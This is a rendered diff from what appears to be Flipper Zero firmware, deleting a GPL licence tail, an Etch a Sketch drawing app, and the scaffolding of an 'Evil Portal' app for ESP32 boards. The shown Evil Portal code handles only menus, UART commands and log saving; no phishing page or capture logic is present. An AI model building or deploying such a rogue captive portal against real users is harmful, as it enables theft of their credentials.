in a country, would infringe one or more identifiable patents in that
|
|
||||||
country that you have reason to believe are valid.
|
|
||||||
|
|
||||||
If, pursuant to or in connection with a single transaction or
|
|
||||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
|
||||||
covered work, and grant a patent license to some of the parties
|
|
||||||
receiving the covered work authorizing them to use, propagate, modify
|
|
||||||
or convey a specific copy of the covered work, then the patent license
|
|
||||||
you grant is automatically extended to all recipients of the covered
|
|
||||||
work and works based on it.
|
|
||||||
|
|
||||||
A patent license is "discriminatory" if it does not include within
|
|
||||||
the scope of its coverage, prohibits the exercise of, or is
|
|
||||||
conditioned on the non-exercise of one or more of the rights that are
|
|
||||||
specifically granted under this License. You may not convey a covered
|
|
||||||
work if you are a party to an arrangement with a third party that is
|
|
||||||
in the business of distributing software, under which you make payment
|
|
||||||
to the third party based on the extent of your activity of conveying
|
|
||||||
the work, and under which the third party grants, to any of the
|
|
||||||
parties who would receive the covered work from you, a discriminatory
|
|
||||||
patent license (a) in connection with copies of the covered work
|
|
||||||
conveyed by you (or copies made from those copies), or (b) primarily
|
|
||||||
for and in connection with specific products or compilations that
|
|
||||||
contain the covered work, unless you entered into that arrangement,
|
|
||||||
or that patent license was granted, prior to 28 March 2007.
|
|
||||||
|
|
||||||
Nothing in this License shall be construed as excluding or limiting
|
|
||||||
any implied license or other defenses to infringement that may
|
|
||||||
otherwise be available to you under applicable patent law.
|
|
||||||
|
|
||||||
12. No Surrender of Others' Freedom.
|
|
||||||
|
|
||||||
If conditions are imposed on you (whether by court order, agreement or
|
|
||||||
otherwise) that contradict the conditions of this License, they do not
|
|
||||||
excuse you from the conditions of this License. If you cannot convey a
|
|
||||||
covered work so as to satisfy simultaneously your obligations under this
|
|
||||||
License and any other pertinent obligations, then as a consequence you may
|
|
||||||
not convey it at all. For example, if you agree to terms that obligate you
|
|
||||||
to collect a royalty for further conveying from those to whom you convey
|
|
||||||
the Program, the only way you could satisfy both those terms and this
|
|
||||||
License would be to refrain entirely from conveying the Program.
|
|
||||||
|
|
||||||
13. Use with the GNU Affero General Public License.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, you have
|
|
||||||
permission to link or combine any covered work with a work licensed
|
|
||||||
under version 3 of the GNU Affero General Public License into a single
|
|
||||||
combined work, and to convey the resulting work. The terms of this
|
|
||||||
License will continue to apply to the part which is the covered work,
|
|
||||||
but the special requirements of the GNU Affero General Public License,
|
|
||||||
section 13, concerning interaction through a network will apply to the
|
|
||||||
combination as such.
|
|
||||||
|
|
||||||
14. Revised Versions of this License.
|
|
||||||
|
|
||||||
The Free Software Foundation may publish revised and/or new versions of
|
|
||||||
the GNU General Public License from time to time. Such new versions will
|
|
||||||
be similar in spirit to the present version, but may differ in detail to
|
|
||||||
address new problems or concerns.
|
|
||||||
|
|
||||||
Each version is given a distinguishing version number. If the
|
|
||||||
Program specifies that a certain numbered version of the GNU General
|
|
||||||
Public License "or any later version" applies to it, you have the
|
|
||||||
option of following the terms and conditions either of that numbered
|
|
||||||
version or of any later version published by the Free Software
|
|
||||||
Foundation. If the Program does not specify a version number of the
|
|
||||||
GNU General Public License, you may choose any version ever published
|
|
||||||
by the Free Software Foundation.
|
|
||||||
|
|
||||||
If the Program specifies that a proxy can decide which future
|
|
||||||
versions of the GNU General Public License can be used, that proxy's
|
|
||||||
public statement of acceptance of a version permanently authorizes you
|
|
||||||
to choose that version for the Program.
|
|
||||||
|
|
||||||
Later license versions may give you additional or different
|
|
||||||
permissions. However, no additional obligations are imposed on any
|
|
||||||
author or copyright holder as a result of your choosing to follow a
|
|
||||||
later version.
|
|
||||||
|
|
||||||
15. Disclaimer of Warranty.
|
|
||||||
|
|
||||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
|
||||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
|
||||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
|
||||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
|
||||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
|
||||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
|
||||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
|
||||||
|
|
||||||
16. Limitation of Liability.
|
|
||||||
|
|
||||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
|
||||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
|
||||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
|
||||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
|
||||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
|
||||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
|
||||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
|
||||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
|
||||||
SUCH DAMAGES.
|
|
||||||
|
|
||||||
17. Interpretation of Sections 15 and 16.
|
|
||||||
|
|
||||||
If the disclaimer of warranty and limitation of liability provided
|
|
||||||
above cannot be given local legal effect according to their terms,
|
|
||||||
reviewing courts shall apply local law that most closely approximates
|
|
||||||
an absolute waiver of all civil liability in connection with the
|
|
||||||
Program, unless a warranty or assumption of liability accompanies a
|
|
||||||
copy of the Program in return for a fee.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
How to Apply These Terms to Your New Programs
|
|
||||||
|
|
||||||
If you develop a new program, and you want it to be of the greatest
|
|
||||||
possible use to the public, the best way to achieve this is to make it
|
|
||||||
free software which everyone can redistribute and change under these terms.
|
|
||||||
|
|
||||||
To do so, attach the following notices to the program. It is safest
|
|
||||||
to attach them to the start of each source file to most effectively
|
|
||||||
state the exclusion of warranty; and each file should have at least
|
|
||||||
the "copyright" line and a pointer to where the full notice is found.
|
|
||||||
|
|
||||||
<one line to give the program's name and a brief idea of what it does.>
|
|
||||||
Copyright (C) <year> <name of author>
|
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU General Public License as published by
|
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
|
||||||
(at your option) any later version.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
Also add information on how to contact you by electronic and paper mail.
|
|
||||||
|
|
||||||
If the program does terminal interaction, make it output a short
|
|
||||||
notice like this when it starts in an interactive mode:
|
|
||||||
|
|
||||||
<program> Copyright (C) <year> <name of author>
|
|
||||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
|
||||||
This is free software, and you are welcome to redistribute it
|
|
||||||
under certain conditions; type `show c' for details.
|
|
||||||
|
|
||||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
|
||||||
parts of the General Public License. Of course, your program's commands
|
|
||||||
might be different; for a GUI interface, you would use an "about box".
|
|
||||||
|
|
||||||
You should also get your employer (if you work as a programmer) or school,
|
|
||||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
|
||||||
For more information on this, and how to apply and follow the GNU GPL, see
|
|
||||||
<https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
The GNU General Public License does not permit incorporating your program
|
|
||||||
into proprietary programs. If your program is a subroutine library, you
|
|
||||||
may consider it more useful to permit linking proprietary applications with
|
|
||||||
the library. If this is what you want to do, use the GNU Lesser General
|
|
||||||
Public License instead of this License. But first, please read
|
|
||||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="etch",
|
|
||||||
name="Etch a Sketch",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="etch_a_sketch_app",
|
|
||||||
cdefines=["APP_ETCH_A_SKETCH"],
|
|
||||||
requires=["gui"],
|
|
||||||
stack_size=2 * 1024,
|
|
||||||
fap_icon="etch-a-sketch-icon.png",
|
|
||||||
fap_category="Media",
|
|
||||||
fap_icon_assets="assets",
|
|
||||||
fap_author="@SimplyMinimal",
|
|
||||||
fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch",
|
|
||||||
fap_version="1.0",
|
|
||||||
fap_description="Turn the Flipper Zero into an Etch A Sketch",
|
|
||||||
)
|
|
||||||
|
Before Width: | Height: | Size: 239 B |
275
applications/external/etch_a_sketch/etch_a_sketch.c
vendored
@@ -1,275 +0,0 @@
|
|||||||
#include <furi.h>
|
|
||||||
#include <furi_hal.h>
|
|
||||||
#include <gui/gui.h>
|
|
||||||
#include <gui/elements.h>
|
|
||||||
#include <gui/icon.h>
|
|
||||||
#include <input/input.h>
|
|
||||||
#include <notification/notification.h>
|
|
||||||
#include <notification/notification_messages.h>
|
|
||||||
#include <stdbool.h> // Header-file for boolean data-type.
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include "etch_icons.h"
|
|
||||||
#include <assets_icons.h>
|
|
||||||
|
|
||||||
#define WIDTH 64
|
|
||||||
#define HEIGHT 32
|
|
||||||
|
|
||||||
const int brush_size = 2;
|
|
||||||
|
|
||||||
typedef struct selected_position {
|
|
||||||
int x;
|
|
||||||
int y;
|
|
||||||
} selected_position;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
FuriMutex* mutex;
|
|
||||||
selected_position selected;
|
|
||||||
bool board[64][32];
|
|
||||||
bool isDrawing;
|
|
||||||
bool showWelcome;
|
|
||||||
} EtchData;
|
|
||||||
|
|
||||||
// Sequence to indicate that drawing is enabled.
|
|
||||||
const NotificationSequence sequence_begin_draw = {
|
|
||||||
&message_display_backlight_on,
|
|
||||||
|
|
||||||
// Vibrate to indicate that drawing is enabled.
|
|
||||||
&message_vibro_on,
|
|
||||||
&message_note_g5,
|
|
||||||
&message_delay_50,
|
|
||||||
&message_note_c6,
|
|
||||||
&message_delay_50,
|
|
||||||
&message_note_e5,
|
|
||||||
&message_vibro_off,
|
|
||||||
&message_sound_off,
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
// sequence to indicate that drawing is disabled
|
|
||||||
const NotificationSequence sequence_end_draw = {
|
|
||||||
&message_red_0,
|
|
||||||
// Indicate that drawing is disabled.
|
|
||||||
&message_vibro_on,
|
|
||||||
&message_note_g5,
|
|
||||||
&message_delay_50,
|
|
||||||
&message_note_e5,
|
|
||||||
&message_delay_50,
|
|
||||||
&message_vibro_off,
|
|
||||||
&message_sound_off,
|
|
||||||
&message_do_not_reset,
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Indicate that drawing is enabled.
|
|
||||||
const NotificationSequence sequence_draw_enabled = {
|
|
||||||
&message_red_255,
|
|
||||||
&message_do_not_reset,
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Indicate that drawing is disabled.
|
|
||||||
const NotificationSequence sequence_draw_disabled = {
|
|
||||||
&message_red_0,
|
|
||||||
&message_do_not_reset,
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
const NotificationSequence sequence_cleanup = {
|
|
||||||
&message_red_0,
|
|
||||||
&message_green_0,
|
|
||||||
&message_blue_0,
|
|
||||||
&message_sound_off,
|
|
||||||
&message_vibro_off,
|
|
||||||
NULL,
|
|
||||||
};
|
|
||||||
|
|
||||||
void etch_draw_callback(Canvas* canvas, void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
const EtchData* etch_state = ctx;
|
|
||||||
furi_mutex_acquire(etch_state->mutex, FuriWaitForever);
|
|
||||||
|
|
||||||
canvas_clear(canvas);
|
|
||||||
|
|
||||||
// Show Welcome Message
|
|
||||||
if(etch_state->showWelcome) {
|
|
||||||
// Draw Etch A Sketch frame
|
|
||||||
canvas_draw_frame(canvas, 5, 3, 119, 55); // Border
|
|
||||||
canvas_draw_icon(canvas, 8, 50, &I_Ok_btn_pressed_13x13); // Left Knob
|
|
||||||
canvas_draw_icon(canvas, 107, 50, &I_Ok_btn_pressed_13x13); // Right Knob
|
|
||||||
|
|
||||||
// Draw Etch A Sketch text banner
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 36, 15, "Etch A Sketch");
|
|
||||||
|
|
||||||
// Draw Etch A Sketch instructions "Hold Back to clear"
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 31, 26, "* Hold ");
|
|
||||||
canvas_draw_icon(canvas, 59, 18, &I_Pin_back_arrow_10x8);
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 72, 26, "to clear");
|
|
||||||
|
|
||||||
// Draw Etch A Sketch instructions "Hold OK button to draw"
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 31, 37, "* Hold");
|
|
||||||
canvas_draw_icon(canvas, 61, 30, &I_ButtonCenter_7x7);
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 72, 37, "to draw");
|
|
||||||
}
|
|
||||||
|
|
||||||
canvas_set_color(canvas, ColorBlack);
|
|
||||||
//draw the canvas(64x32) on screen(144x64) using brush_size*brush_size tiles
|
|
||||||
for(int y = 0; y < 32; y++) {
|
|
||||||
for(int x = 0; x < 64; x++) {
|
|
||||||
if(etch_state->board[x][y]) {
|
|
||||||
canvas_draw_box(canvas, x * brush_size, y * brush_size, 2, 2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//draw cursor as a brush_size by brush_size black box
|
|
||||||
canvas_set_color(canvas, ColorBlack);
|
|
||||||
canvas_draw_box(
|
|
||||||
canvas,
|
|
||||||
etch_state->selected.x * brush_size,
|
|
||||||
etch_state->selected.y * brush_size,
|
|
||||||
brush_size,
|
|
||||||
brush_size);
|
|
||||||
|
|
||||||
//release the mutex
|
|
||||||
furi_mutex_release(etch_state->mutex);
|
|
||||||
}
|
|
||||||
|
|
||||||
void etch_input_callback(InputEvent* input_event, void* ctx) {
|
|
||||||
furi_assert(ctx);
|
|
||||||
FuriMessageQueue* event_queue = ctx;
|
|
||||||
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t etch_a_sketch_app(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
|
||||||
|
|
||||||
EtchData* etch_state = malloc(sizeof(EtchData));
|
|
||||||
etch_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
|
||||||
if(!etch_state->mutex) {
|
|
||||||
FURI_LOG_E("etch", "cannot create mutex\r\n");
|
|
||||||
free(etch_state);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Configure view port
|
|
||||||
ViewPort* view_port = view_port_alloc();
|
|
||||||
view_port_draw_callback_set(view_port, etch_draw_callback, etch_state);
|
|
||||||
view_port_input_callback_set(view_port, etch_input_callback, event_queue);
|
|
||||||
|
|
||||||
// Register view port in GUI
|
|
||||||
Gui* gui = furi_record_open(RECORD_GUI);
|
|
||||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
|
||||||
|
|
||||||
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
|
|
||||||
|
|
||||||
InputEvent event;
|
|
||||||
|
|
||||||
// Show Welcome Banner
|
|
||||||
etch_state->showWelcome = true;
|
|
||||||
|
|
||||||
while(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
|
|
||||||
//break out of the loop if the back key is pressed
|
|
||||||
if(event.key == InputKeyBack && event.type == InputTypeShort) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Clear
|
|
||||||
// TODO: Do animation of shaking board
|
|
||||||
if(event.key == InputKeyBack && event.type == InputTypeLong) {
|
|
||||||
etch_state->showWelcome = false;
|
|
||||||
etch_state->board[1][1] = true;
|
|
||||||
for(int y = 0; y < 32; y++) {
|
|
||||||
for(int x = 0; x < 64; x++) {
|
|
||||||
etch_state->board[x][y] = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
view_port_update(view_port);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Keep LED on while drawing
|
|
||||||
if(etch_state->isDrawing) {
|
|
||||||
notification_message(notification, &sequence_draw_enabled);
|
|
||||||
} else {
|
|
||||||
notification_message(notification, &sequence_draw_disabled);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Single Dot Select
|
|
||||||
if(event.key == InputKeyOk && event.type == InputTypeShort) {
|
|
||||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] =
|
|
||||||
!etch_state->board[etch_state->selected.x][etch_state->selected.y];
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start Drawing
|
|
||||||
if(event.key == InputKeyOk && event.type == InputTypeLong) {
|
|
||||||
// notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_begin_draw);
|
|
||||||
notification_message(notification, &sequence_begin_draw);
|
|
||||||
|
|
||||||
if(etch_state->isDrawing) {
|
|
||||||
// We're ending the drawing
|
|
||||||
notification_message(notification, &sequence_end_draw);
|
|
||||||
}
|
|
||||||
|
|
||||||
etch_state->isDrawing = !etch_state->isDrawing;
|
|
||||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
|
|
||||||
|
|
||||||
view_port_update(view_port);
|
|
||||||
}
|
|
||||||
|
|
||||||
//check the key pressed and change x and y accordingly
|
|
||||||
if(event.type == InputTypeShort || event.type == InputTypeRepeat ||
|
|
||||||
event.type == InputTypeLong) {
|
|
||||||
switch(event.key) {
|
|
||||||
case InputKeyUp:
|
|
||||||
etch_state->selected.y -= 1;
|
|
||||||
break;
|
|
||||||
case InputKeyDown:
|
|
||||||
etch_state->selected.y += 1;
|
|
||||||
break;
|
|
||||||
case InputKeyLeft:
|
|
||||||
etch_state->selected.x -= 1;
|
|
||||||
break;
|
|
||||||
case InputKeyRight:
|
|
||||||
etch_state->selected.x += 1;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
//check if cursor position is out of bounds and reset it to the closest position
|
|
||||||
if(etch_state->selected.x < 0) {
|
|
||||||
etch_state->selected.x = 0;
|
|
||||||
}
|
|
||||||
if(etch_state->selected.x > 61) {
|
|
||||||
etch_state->selected.x = 61;
|
|
||||||
}
|
|
||||||
if(etch_state->selected.y < 0) {
|
|
||||||
etch_state->selected.y = 0;
|
|
||||||
}
|
|
||||||
if(etch_state->selected.y > 31) {
|
|
||||||
etch_state->selected.y = 31;
|
|
||||||
}
|
|
||||||
if(etch_state->isDrawing == true) {
|
|
||||||
etch_state->board[etch_state->selected.x][etch_state->selected.y] = true;
|
|
||||||
}
|
|
||||||
view_port_update(view_port);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
notification_message(notification, &sequence_cleanup);
|
|
||||||
gui_remove_view_port(gui, view_port);
|
|
||||||
view_port_free(view_port);
|
|
||||||
furi_mutex_free(etch_state->mutex);
|
|
||||||
furi_message_queue_free(event_queue);
|
|
||||||
furi_record_close(RECORD_NOTIFICATION);
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
free(etch_state);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
21
applications/external/evil_portal/LICENSE.txt
vendored
@@ -1,21 +0,0 @@
|
|||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2023 bigbrodude6119
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="evil_portal",
|
|
||||||
name="[ESP32] Evil Portal",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="evil_portal_app",
|
|
||||||
cdefines=["APP_EVIL_PORTAL"],
|
|
||||||
requires=["gui"],
|
|
||||||
stack_size=1 * 1024,
|
|
||||||
fap_author="bigbrodude6119",
|
|
||||||
fap_description="Create an evil captive portal Wi-Fi access point",
|
|
||||||
fap_icon_assets="icons",
|
|
||||||
fap_icon="icons/evil_portal_10px.png",
|
|
||||||
fap_category="WiFi",
|
|
||||||
)
|
|
||||||
146
applications/external/evil_portal/evil_portal_app.c
vendored
@@ -1,146 +0,0 @@
|
|||||||
#include "evil_portal_app_i.h"
|
|
||||||
#include "helpers/evil_portal_storage.h"
|
|
||||||
|
|
||||||
#include <furi.h>
|
|
||||||
#include <furi_hal.h>
|
|
||||||
|
|
||||||
static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) {
|
|
||||||
furi_assert(context);
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool evil_portal_app_back_event_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
return scene_manager_handle_back_event(app->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void evil_portal_app_tick_event_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
Evil_PortalApp* app = context;
|
|
||||||
scene_manager_handle_tick_event(app->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
Evil_PortalApp* evil_portal_app_alloc() {
|
|
||||||
Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp));
|
|
||||||
|
|
||||||
app->sent_html = false;
|
|
||||||
app->sent_ap = false;
|
|
||||||
app->sent_reset = false;
|
|
||||||
app->has_command_queue = false;
|
|
||||||
app->command_index = 0;
|
|
||||||
app->portal_logs = furi_string_alloc();
|
|
||||||
|
|
||||||
app->dialogs = furi_record_open(RECORD_DIALOGS);
|
|
||||||
app->file_path = furi_string_alloc();
|
|
||||||
|
|
||||||
app->gui = furi_record_open(RECORD_GUI);
|
|
||||||
|
|
||||||
app->view_dispatcher = view_dispatcher_alloc();
|
|
||||||
|
|
||||||
app->loading = loading_alloc();
|
|
||||||
|
|
||||||
app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
|
|
||||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
|
||||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
|
||||||
|
|
||||||
view_dispatcher_set_custom_event_callback(
|
|
||||||
app->view_dispatcher, evil_portal_app_custom_event_callback);
|
|
||||||
view_dispatcher_set_navigation_event_callback(
|
|
||||||
app->view_dispatcher, evil_portal_app_back_event_callback);
|
|
||||||
view_dispatcher_set_tick_event_callback(
|
|
||||||
app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
|
|
||||||
|
|
||||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
|
||||||
|
|
||||||
app->view_stack = view_stack_alloc();
|
|
||||||
|
|
||||||
app->var_item_list = variable_item_list_alloc();
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
app->view_dispatcher,
|
|
||||||
Evil_PortalAppViewVarItemList,
|
|
||||||
variable_item_list_get_view(app->var_item_list));
|
|
||||||
|
|
||||||
app->text_input = text_input_alloc();
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
app->view_dispatcher, Evil_PortalAppViewTextInput, text_input_get_view(app->text_input));
|
|
||||||
|
|
||||||
for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
|
|
||||||
app->selected_option_index[i] = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
app->text_box = text_box_alloc();
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box));
|
|
||||||
app->text_box_store = furi_string_alloc();
|
|
||||||
furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
|
|
||||||
|
|
||||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
|
|
||||||
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
void evil_portal_app_free(Evil_PortalApp* app) {
|
|
||||||
// save latest logs
|
|
||||||
if(furi_string_utf8_length(app->portal_logs) > 0) {
|
|
||||||
write_logs(app->portal_logs);
|
|
||||||
furi_string_free(app->portal_logs);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Send reset event to dev board
|
|
||||||
evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD));
|
|
||||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
|
||||||
|
|
||||||
furi_assert(app);
|
|
||||||
|
|
||||||
// Views
|
|
||||||
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
|
|
||||||
view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
|
|
||||||
|
|
||||||
text_box_free(app->text_box);
|
|
||||||
furi_string_free(app->text_box_store);
|
|
||||||
text_input_free(app->text_input);
|
|
||||||
|
|
||||||
view_stack_free(app->view_stack);
|
|
||||||
loading_free(app->loading);
|
|
||||||
|
|
||||||
// View dispatcher
|
|
||||||
view_dispatcher_free(app->view_dispatcher);
|
|
||||||
scene_manager_free(app->scene_manager);
|
|
||||||
|
|
||||||
evil_portal_uart_free(app->uart);
|
|
||||||
|
|
||||||
// Close records
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
|
|
||||||
furi_record_close(RECORD_DIALOGS);
|
|
||||||
furi_string_free(app->file_path);
|
|
||||||
|
|
||||||
free(app);
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t evil_portal_app(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
Evil_PortalApp* evil_portal_app = evil_portal_app_alloc();
|
|
||||||
|
|
||||||
uint8_t attempts = 0;
|
|
||||||
bool otg_was_enabled = furi_hal_power_is_otg_enabled();
|
|
||||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
|
||||||
furi_hal_power_enable_otg();
|
|
||||||
furi_delay_ms(10);
|
|
||||||
}
|
|
||||||
furi_delay_ms(200);
|
|
||||||
|
|
||||||
evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
|
|
||||||
|
|
||||||
view_dispatcher_run(evil_portal_app->view_dispatcher);
|
|
||||||
|
|
||||||
evil_portal_app_free(evil_portal_app);
|
|
||||||
|
|
||||||
if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) {
|
|
||||||
furi_hal_power_disable_otg();
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
typedef struct Evil_PortalApp Evil_PortalApp;
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
@@ -1,77 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include "evil_portal_app.h"
|
|
||||||
#include "evil_portal_custom_event.h"
|
|
||||||
#include "evil_portal_uart.h"
|
|
||||||
#include "scenes/evil_portal_scene.h"
|
|
||||||
#include "evil_portal_icons.h"
|
|
||||||
#include <assets_icons.h>
|
|
||||||
|
|
||||||
#include <gui/gui.h>
|
|
||||||
#include <gui/modules/loading.h>
|
|
||||||
#include <gui/modules/text_box.h>
|
|
||||||
#include <gui/modules/text_input.h>
|
|
||||||
